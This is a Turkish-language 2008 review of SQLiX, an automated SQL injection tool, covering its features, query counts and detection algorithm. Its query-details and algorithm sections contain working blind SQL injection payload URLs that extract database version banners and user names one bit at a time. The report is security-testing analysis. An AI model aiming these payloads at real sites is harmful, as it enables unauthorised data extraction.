Araç Bilgi

Lisans

 

    -

 

Versiyon

 

    1.0

 

Yazar & Bağlantı Bilgileri

 

    Cedric COCHIN, cedric.cochin at gmail dot com 

 

Programlama Dili

 

    Perl

 

Önkoşullar

 

    Algorith::Diff

    WWW::CheckSite

    Tie::CharArray

     

URL

 

    http://cedri.cc/tools/SQLiX_v1.0.tar.gz

 

Test Yatağı

 

    win2k3 sp1 vmware image with ActivePerl 5.8.8 Build 819

    MSSQL 2005 EE, Oracle 10g EE, DB2 EC v 9.5, PostGreSQL 8.2, MySQL Community 5.0.45

     

Kurulum Püf Noktaları (Hatalar/Çözümler/Öneriler)

 

    1 hata, detaylar için Sqlix v1.0 - HÇÖ  

Rapor Hakkında

Rapor İsmi

 

      Sqlix - Otomatize  SQL Enjektörü Analizi   

 

Rapor Yazarı

 

     Bedirhan Urgun, urgunb at hotmail dot com, www.webguvenligi.org

 

Rapor Tarihi

 

     29 Şubat 2008

Kullanım

Komut Satırı/Grafiksel Arayüz

 

    Komut Satırı

 

Başlat/Durdur/Devam Et Özellikleri

    

    -

 

Dokümantasyon

 

    http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project#Command_line_usage adresinde çok temel bir dokümantasyon

DB Döküm Yetenekleri

Hafifsıklet Bilgiler

     

     DBMS Banner (diğerleri -function="[saldırı_dizgisi_buraya]" -exploit opsiyonları ile dökülebilir)

 

Veritabanı İsimleri

 

     -

 

Tablo İsimleri

 

     -

 

Sutün İsimleri

 

     -

 

Tablo Satırları

 

     -

Performans

Temel Sorgu

 

     SQLiX.pl -url="http://localhost/sqlinj.php?name=PENELOPE&type=1&order=1&database=mysql&log=0" -method_blind_statement -exploit

 

     DBMS Banner'i alma

 

Püf Noktaları

 

     -all opsiyonu yerine daha spesifik olanlar kullanılabili, mesela string tabanlı enjeksiyonlar için -method_blind_statement

 

Çalıştırılan Toplam Sorgu Sayısı

 

    DBMS Banner Almak

 

        Kör

 

            Mysql: 111

            Mssql: 974

            Postgresql: 351

            Oracle: -

 

        Union

 

            N/A

 

    Kullanıcı İsmi Almak

 

        Kör

 

            Mysql: 180

            Mssql: 119

            Postgresql: 112

            Oracle: -

 

        Union

 

            N/A

Özellikler

Kimlik Doğrulama Tipleri

 

     Cookie

 

         -cookie opsiyonu ile

 

     Temel Kimlik Doğrulama

 

         -

 

     Özet Kimlik Doğrulama

 

         -

 

     NTLM

 

         -

 

     Sertifika

 

         -

 

DBMS Desteği

 

     Bu raporda kalın veritabanı isimleri başarılı olarak denenmiştir.

     

    MSSQL 

    MYSQL

    POSTGRESQL

    ORACLE    

    DB2

    MSACCESS

     

Gerçeklenen Enjeksiyon Tipleri

 

    Kör

 

        Doğru/Yanlış

 

             Evet

 

        Zaman Tabanlı

 

             -

 

    Hata Tabanlı

 

 

        -

    

    Union     

 

        -

 

    Tek Kayıt Union

 

        -

 

    Bant Dışı Kanal

 

        -

     

Anonimlik Desteği

 

    User-Agent

 

       -agent opsiyonu ile

 

    Referrer

 

        -referer opsiyonu ile

 

    Proxy

 

       -

 

 

Veritabanı Döküm Granüleritesi

 

     banner, select top 1 ..., user() gibi tek değer dönen sorgular için

 

Diğer

 

     302 Yönlendirme Yönetimi

 

         -

 

     Atlatma (Evasion) Özellikleri

 

         string kodlama (ASCII->Char) 

 

     Özel Yapım SQL Sorgu Desteği

 

         -function opsiyonu ile

 

     Paralel İstekler

 

          -.Ama kullanılan algoritma paralelliği desteklemektedir.

     

Enjeksiyon Noktaları

 

     GET

         

         Evet

 

     POST

 

         Evet

 

     COOKIE

 

         Evet

 

     HTTP HEADERS

     

         -

 

Otomatik Yazılım Yenileme

 

     -

Çıktı/Kayıt Tutma

     İstek/Cevap Kayıtları

         

         -v hata ayıklama yolu opsiyonu ile

 

     Programa Özel Kayıt Tutma

 

         -

SQLi Açıklık Tarama Desteği

     Basit SQL Enjeksiyonu Testi (Tek URL ve Parametreler)

 

         Evet

 

     Basit SQL Enjeksiyonu Tarama (Crawling Yolu İle)

 

         Evet. -file ve/veya -crawl opsiyonları ile

Sorgu Detayları

    DBMS Banner Alma

 

        Mysql         

...

http://localhost/sqlinj.php?name=PENELOPE' AND (ascii(substring(version(),5,1))>>(2)&1)='1&database=&type=0&order=&log=1

...

 

        Mssql 

 

...

http://localhost/sqlinj.php?name=PENELOPE' AND (ascii(substring(@@version,21,1))/power(2,7)%2)='1&database=&type=0&order=&log=1

...

        Postgresql

 

...

http://localhost/sqlinj.php?name=PENELOPE' AND (ascii(substr(version(),16))>>(5)&1)='1&database=&type=0&order=&log=1 

...

 

    Kullanıcı İsmi Alma

 

         Mysql

 

...

http://localhost/sqlinj.php?name=PENELOPE' AND (ascii(substring(USER(),4,1))>>(3)&1)='1&database=&type=0&order=&log=1

...

 

        Mssql 

 

...

http://localhost/sqlinj.php?name=PENELOPE' AND (ascii(substring(user,2,1))/power(2,3)%2)='1&database=&type=0&order=&log=1

...

        Postgresql

 

...

http://localhost/sqlinj.php?name=PENELOPE' AND (ascii(substr(current_user,4))>>(1)&1)='1&database=&type=0&order=&log=1 

...

 

    Veritabanı isimleri

 

         -

 

    Tablo isimleri

 

         -

 

    Tablo sutün isimleri

  

         -

 

     Satırlar    

 

         -

Algoritma/Analiz

Enjeksiyonu Bulma

 

         Sqlix orjinal cevabın MD5'ini bulur ve her ikisini saklar (MD5 ve orjinal cevap). Sonra, saldırı dizgisini enjekte eder (mesela PENELOPE' AND '1'='1) ve cevabını alır, MD5'ini hesaplar. En sonunda MD5'leri karşılaştırır. Genel olarak araçlarda bu algoritma kullanılır ama saldırı dizgisi ile beraber cevap değişirse saldırı çalışacak ancak MD5'ler tutmayacaktır. SQLiX otomatik olarak orjinal cevap ve saldırı cevabı arasında bir fark (Delta) işlemi uygular ve kodlanmamış saldırı dizgisini (bizim örneğimizde PENELOPE' AND '1'='1 ) bu fark içinde arar. Eğer bulursa, cevabı enjeksiyonun var olduğu şeklinde algılar.

        Diğer araçlar orjinal cevapta ve doğru saldırıya dönen cevapta bulunacak regex/anahtar kelime ler kabul ederler.       

 

Kör SQL Enjeksiyon Algoritması

 

        Sayılar, Karakterler

 

             Sqlix bir verinin (dizgi/ascii karakter değeri veya sayı) boyunu anlamak için farklı bir yöntem kullanır; Bit kaydırma/2'ye bölme işlemi. Mysql'de sqliz bit kaydırma işlemi kullanır ve veriyi 7'den 1'e  sağa doğru kaydırır. Bu da her bir veri için sabit 8 istek demektir.

 

(length(version())>>(7)&1)='1
(length(version())>>(6)&1)='1
(length(version())>>(5)&1)='1
(length(version())>>(4)&1)='1
(length(version())>>(3)&1)='1
(length(version())>>(2)&1)='1
(length(version())>>(1)&1)='1
(length(version())>>(0)&1)='1

            Mssql'de bu işlem power (üs)'tür. 

(len(@@version)/power(2,7)%2)='1
(len(@@version)/power(2,6)%2)='1
(len(@@version)/power(2,5)%2)='1
(len(@@version)/power(2,4)%2)='1
(len(@@version)/power(2,3)%2)='1
(len(@@version)/power(2,2)%2)='1
(len(@@version)/power(2,1)%2)='1
(len(@@version)/power(2,0)%2)='1

  

             Dahası, kısayol olarak, DBMS banner'i dökerken örneğin, sqlix daha önceden belirlenmiş kelimeleri verinin içerisinde db'ye özel fonksiyonları kullanarak arar (mysql için Locate, mssql için PATINDEX). Örneğin, sqlix "Microsoft", "Debian", "community" gibi. Ama bu yeterli olmayacaktır. Bu nedenle banner'in alınamayan parçaları için yukarıda anlatıldığı gibi kör sql enjeksiyonu algoritması ile devam eder. Mssql için;

 

(ascii(substring(@@version,10,1))/power(2,7)%2)='1
(ascii(substring(@@version,10,1))/power(2,6)%2)='1
(ascii(substring(@@version,10,1))/power(2,5)%2)='1
(ascii(substring(@@version,10,1))/power(2,4)%2)='1
(ascii(substring(@@version,10,1))/power(2,3)%2)='1
(ascii(substring(@@version,10,1))/power(2,2)%2)='1
(ascii(substring(@@version,10,1))/power(2,1)%2)='1
(ascii(substring(@@version,10,1))/power(2,0)%2)='1

 

            Bu algoritma sabit sayıda istek üretir. Bu nedenle, algoritma analizi  O(n), O(8n), (n dökülen verinin uzunluğudur) olarak belirlenebilir.

   

Union Parse Algoritması

 

             -